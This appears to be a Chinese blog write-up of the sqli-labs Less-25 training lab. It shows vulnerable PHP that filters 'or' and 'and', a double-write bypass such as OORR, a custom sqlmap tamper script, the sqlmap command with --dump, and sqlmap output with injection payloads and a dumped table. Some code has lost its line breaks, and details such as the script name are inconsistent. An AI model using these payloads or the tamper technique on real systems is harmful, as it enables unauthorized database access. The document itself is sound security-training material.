当前位置: 首页 > news >正文

sqli-labs通关笔记-第25关GET字符注入(过滤or和and 脚本法)

目录

一、sqlmap之tamper脚本

二、源码分析

1、代码审计

2、SQL安全性分析

三、渗透实战

1、进入靶场

2、tamper脚本

3、sqlmap渗透 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第25关Less 25基于GET字符型的SQL注入关卡进行渗透实战,该关卡过滤关键字and和or防止SQL注入攻击。

一、sqlmap之tamper脚本

sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、可渗透获取数据库信息,需在合法授权下使用。

tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。

#!/usr/bin/env pythonfrom lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMAL  # 定义脚本优先级def dependencies():pass  # 定义依赖关系(可选)def tamper(payload, **kwargs):"""主处理函数,接收原始payload,返回修改后的payload"""return payload

二、源码分析

1、代码审计

本关卡Less25是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less25关卡功能是简单基于id的查询页面,详细注释后的代码如下所示。

<?php
// 包含数据库连接配置
include("../sql-connections/sqli-connect.php");// 检查是否传入了id参数
if(isset($_GET['id']))
{// 获取id参数并记录到日志文件$id=$_GET['id'];$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 使用黑名单过滤输入$id= blacklist($id);$hint=$id; // 保存过滤后的输入用于提示// 构建并执行SQL查询$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) {// 显示查询结果echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";} else {// 显示错误信息(不安全)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
} else { // 未传入id参数时的提示echo "Please input the ID as parameter with numeric value";
}// 黑名单过滤函数
function blacklist($id)
{// 过滤OR和AND关键字(不区分大小写)$id= preg_replace('/or/i',"", $id);    // 移除OR$id= preg_replace('/AND/i',"", $id);   // 移除ANDreturn $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,它接收用户通过URL参数提交的ID值,使用黑名单过滤机制尝试移除其中的"OR"和"AND"关键字(不区分大小写)后,直接将过滤后的值拼接到SQL查询中从数据库查询相应用户信息,并将用户名和密码显示在网页上。

2、SQL安全性分析

系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。此外,代码还直接将SQL错误信息输出到页面,进一步增加了信息泄露风险。 SQL语句如下所示。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

由于源码过滤了关键字or,那么如果我们计划注入 id=1' OR 1=1 --+,只要将OR变为OORR,即可实现绕过。

id=1' OORR 1=1 --+

经过blacklist函数处理后,OORR中的OR被替换为空,OORR处理后变为了OR,注入语句变为如下所示,从而实现了服务器的过滤机制绕过。

1' OR 1=1 --+

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第25关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less25关卡,进入到靶场的第25关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-25

2、tamper脚本

构造25.py脚本,使用双写方法绕过服务器对or和and关键字的过滤,将or替换为oorr,and替换为aandnd,具体内容如下所示。

#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):payload= payload.lower()payload= payload.replace('or' , 'oorr')payload= payload.replace('and' , 'anandd')retVal=payloadreturn retVal

3、sqlmap渗透 

 使用自己编写的tamper脚本25.py进行sqlmap渗透,具体命令如下所示。


sqlmap -u http://192.168.59.1/sqli-labs/Less-25/?id=1 --current-db  --batch  --tamper 25.py --dump
-u "URL"指定测试目标URL
--current-db获取当前数据库名称
--batch非交互模式,自动选择默认选项
--tamper double_and_or.py使用自定义tamper脚本绕过WAF过滤
--dump导出检测到的数据

如下所示,sqlmap渗透成功,可以通过联合注入法、报错法、布尔盲注、时间盲注方法渗透成功,具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: id=1' AND 6893=6893 AND 'onFr'='onFrType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(6554=6554,1))),0x71716b7171),6554) AND 'wxLL'='wxLLType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 2664 FROM (SELECT(SLEEP(5)))QPhB) AND 'JOjg'='JOjgType: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=-1720' UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671,0x6746774e61674d594677435552746a4242564d4a65476458566e48676c7a7a66717456756c726a57,0x71716b7171)-- -
---
[05:15:37] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[05:15:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[05:15:37] [INFO] fetching current database
current database: 'security'
[05:15:37] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:15:37] [INFO] fetching current database
[05:15:37] [INFO] fetching tables for database: 'security'
[05:15:37] [INFO] fetching columns for table 'emails' in database 'security'
[05:15:37] [INFO] fetching entries for table 'emails' in database 'security'
Database: security
Table: emails
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+
http://www.lryc.cn/news/604086.html

相关文章:

  • QWebEngineProfile setCachePath无效
  • 对College数据进行多模型预测(R语言)
  • 青少年软件编程图形化Scratch等级考试试卷(三级)2025年6月
  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(11):文法+单词
  • 层次分析法(Analytic Hierarchy Process,AHP)简介与简单示例
  • Qt 多线程数据库操作优化
  • MOGA(多目标遗传算法)求解 ZDT1 双目标优化问题
  • 选用Java开发商城的优势
  • Python的魔术方法
  • 答题抽奖活动小程序技术复盘
  • ETF期权的交割日对股市有什么影响?
  • 津发科技带你了解皮肤电信号中的SCL与SCR
  • 智慧园区系统引领未来:一场科技与生活的完美融合
  • LaTeX 下载安装保姆级教程
  • MC0244多重堡垒
  • SAP-ABAP:Excel 文件内容解析到 ABAP 内表函数ALSM_EXCEL_TO_INTERNAL_TABLE运用详解
  • Elasticsearch重点
  • 【高等数学】第七章 微分方程——第三节 齐次方程
  • 监控场景视频质量异常修复:陌讯动态增强算法实战解析
  • CVPR 2025 | 华科精测:无需人工标注也能精准识别缺陷类别,AnomalyNCD 实现多类别缺陷自主分类
  • 【硬件-笔试面试题】硬件/电子工程师,笔试面试题-45,(知识点:负反馈的作用,基础理解,干扰和噪声的抑制)
  • 某雷限制解除:轻松获取原始下载链接,支持多任务转换
  • 笔试——Day22
  • 枚举中间位置高级篇
  • 【C++算法】79.BFS解决FloodFill算法_图像渲染
  • K8s集群两者不同的对外暴露服务的方式
  • 2025年JCR一区新算法-回旋镖气动椭圆优化算法Boomerang Aerodynamic Ellipse(BAE)-附Matlab免费代码
  • 小程序发票合并功能升级!发票夹直接选,操作更便捷
  • Python爬虫03_Requests破解百度翻译
  • 三步给小智ESP32S3智能语音硬件接入小程序打通MCP服务